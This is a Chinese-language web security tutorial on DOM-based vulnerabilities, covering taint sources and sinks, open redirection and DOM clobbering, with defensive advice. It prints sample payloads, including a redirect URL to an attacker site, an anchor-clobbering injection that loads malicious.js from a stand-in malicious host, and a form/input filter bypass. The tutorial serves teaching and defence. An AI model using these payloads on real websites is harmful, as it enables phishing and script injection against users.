关于web:Web-安全-之-DOMbased-vulnerabilities

58次阅读

共计 4534 个字符,预计需要花费 12 分钟才能阅读完成。

DOM-based vulnerabilities

在本节中,咱们将形容什么是 DOM,解释对 DOM 数据的不平安解决是如何引入破绽的,并倡议如何在您的网站上避免基于 DOM 的破绽。

什么是 DOM

Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的档次示意。网站能够应用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作自身不是问题,事实上,它也是古代网站中不可或缺的一部分。然而,不平安地解决数据的 JavaScript 可能会引发各种攻打。当网站蕴含的 JavaScript 承受攻击者可管制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会呈现基于 DOM 的破绽。

净化流破绽

许多基于 DOM 的破绽能够追溯到客户端代码在解决攻击者能够管制的数据时存在问题。

什么是净化流

要利用或者缓解这些破绽,首先要相熟 source 源与 sink 接收器之间的净化流的基本概念。

Source 源是一个 JavaScript 属性,它承受可能由攻击者管制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输出,这对于攻击者来说比拟容易管制。总之,攻击者能够管制的任何属性都是潜在的源。包含援用 URL(document.referrer)、用户的 cookies(document.cookie)和 web messages。

Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者管制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink,因为其把传递给它的参数当作 JavaScript 间接执行。一个 HTML sink 的示例是 document.body.innerHTML,因为它可能容许攻击者注入歹意 HTML 并执行任意 JavaScript。

从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不平安的形式解决数据时,基于 DOM 的破绽就会呈现。

最常见的 source 源就是 URL,其能够通过 location 对象拜访。攻击者能够构建一个链接,以让受害者拜访易受攻击的页面,并在 URL 的 query 字符串和 fragment 局部增加无效负载。思考以下代码:

goto = location.hash.slice(1)
if(goto.startsWith('https:')) {location = goto;}

这是一个基于 DOM 的凋谢重定向破绽,因为 location.hash 源被以不平安的形式解决。这个代码的意思是,如果 URL 的 fragment 局部以 https 结尾,则提取以后 location.hash 的值,并设置为 windowlocation。攻击者能够结构如下的 URL 来利用此破绽:

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者拜访此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net,也就是主动跳转到了歹意网址。这种破绽非常容易被用来进行钓鱼攻打。

常见的 source 源

以下是一些可用于各种净化流破绽的常见的 source 源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下数据也能够被用作净化流破绽的 source 源:

  • Reflected data 反射数据
  • Stored data 存储数据
  • Web messages

哪些 sink 接收器会导致基于 DOM 的破绽

上面的列表提供了基于 DOM 的常见破绽的疾速概述,并提供了导致每个破绽的 sink 示例。无关每个破绽的详情请查阅本系列文章的相干局部。

基于 DOM 的破绽 sink 示例
DOM XSS document.write()
Open redirection window.location
Cookie manipulation document.cookie
JavaScript injection eval()
Document-domain manipulation document.domain
WebSocket-URL poisoning WebSocket()
Link manipulation someElement.src
Web-message manipulation postMessage()
Ajax request-header manipulation setRequestHeader()
Local file-path manipulation FileReader.readAsText()
Client-side SQL injection ExecuteSql()
HTML5-storage manipulation sessionStorage.setItem()
Client-side XPath injection document.evaluate()
Client-side JSON injection JSON.parse()
DOM-data manipulation someElement.setAttribute()
Denial of service RegExp()

如何避免基于 DOM 的净化流破绽

没有一个独自的操作能够齐全打消基于 DOM 的攻打的威逼。然而,一般来说,防止基于 DOM 的破绽的最无效办法是防止容许来自任何不可信 source 源的数据动静更改传输到任何 sink 接收器的值。

如果应用程序所需的性能意味着这种行为是不可避免的,则必须在客户端代码内施行进攻措施。在许多状况下,能够依据白名单来验证相干数据,仅容许已知平安的内容。在其余状况下,有必要对数据进行清理或编码。这可能是一项简单的工作,并且取决于要插入数据的上下文,它可能须要依照适当的程序进行 JavaScript 本义,HTML 编码和 URL 编码。

无关避免特定破绽的措施,请参阅上表链接的相应破绽页面。

DOM clobbering

DOM clobbering 是一种高级技术,具体而言就是你能够将 HTML 注入到页面中,从而操作 DOM,并最终扭转网站上 JavaScript 的行为。DOM clobbering 最常见的模式是应用 anchor 元素笼罩全局变量,而后该变量将会被应用程序以不平安的形式应用,例如生成动静脚本 URL。


DOM clobbering

在本节中,咱们将形容什么是 DOM clobbing,演示如何应用 clobbing 技术来利用 DOM 破绽,并提出进攻 DOM clobbing 攻打的办法。

什么是 DOM clobbering

DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终扭转页面上 JavaScript 行为的技术。在无奈应用 XSS,然而能够管制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特地有用。DOM clobbering 最常见的模式是应用 anchor 元素笼罩全局变量,而后该变量将会被应用程序以不平安的形式应用,例如生成动静脚本 URL。

术语 clobbing 来自以下事实:你正在“clobbing”(毁坏)一个全局变量或对象属性,并用 DOM 节点或 HTML 汇合去笼罩它。例如,能够应用 DOM 对象笼罩其余 JavaScript 对象并利用诸如 submit 这样不平安的名称,去烦扰表单真正的 submit() 函数。

如何利用 DOM-clobbering 破绽

某些 JavaScript 开发者常常会应用以下模式:

var someObject = window.someObject || {};

如果你能管制页面上的某些 HTML,你就能够毁坏 someObject 援用一个 DOM 节点,例如 anchor。思考如下代码:

<script>
 window.onload = function(){let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

要利用此易受攻击的代码,你能够注入以下 HTML 去毁坏 someObject 援用一个 anchor 元素:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

因为应用了两个雷同的 ID,因而 DOM 会把他们归为一个汇合,而后 DOM 毁坏向量会应用此汇合笼罩 someObject 援用。在最初一个 anchor 元素上应用了 name 属性,以毁坏 someObject 对象的 url 属性,从而指向一个内部脚本。

另一种常见办法是应用 form 元素以及 input 元素去毁坏 DOM 属性。例如,毁坏 attributes 属性以使你可能通过相干的客户端过滤器。只管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性曾经被 DOM 节点毁坏。后果就是,你将可能注入通常会被过滤掉的歹意属性。例如,思考以下注入:

<form onclick=alert(1)><input id=attributes>Click me

在这种状况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。失常状况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。然而,因为 attributes 属性曾经被 input 元素毁坏,所以过滤器将会改为遍历 input 元素。因为 input 元素的长度不确定,因而过滤器 for 循环的条件(例如 i < element.attributes.length)不满足,过滤器会挪动到下一个元素。这将导致 onclick 事件被过滤器疏忽,其将会在浏览器中调用 alert() 办法。

如何进攻 DOM-clobbering 攻打

简而言之,你能够通过查看以确保对象或函数合乎你的预期,来进攻 DOM-clobbering 攻打。例如,你能够查看 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是毁坏的 HTML 元素。

你还应该防止全局变量与或运算符 || 一起援用,因为这可能导致 DOM clobbering 破绽。

总之:

  • 查看对象和性能是否非法。如果要过滤 DOM,请确保查看的对象或函数不是 DOM 节点。
  • 防止坏的代码模式。防止将全局变量与逻辑 OR 运算符联合应用。
  • 应用通过良好测试的库,例如 DOMPurify 库,这也能够解决 DOM clobbering 破绽的问题。

正文完
 0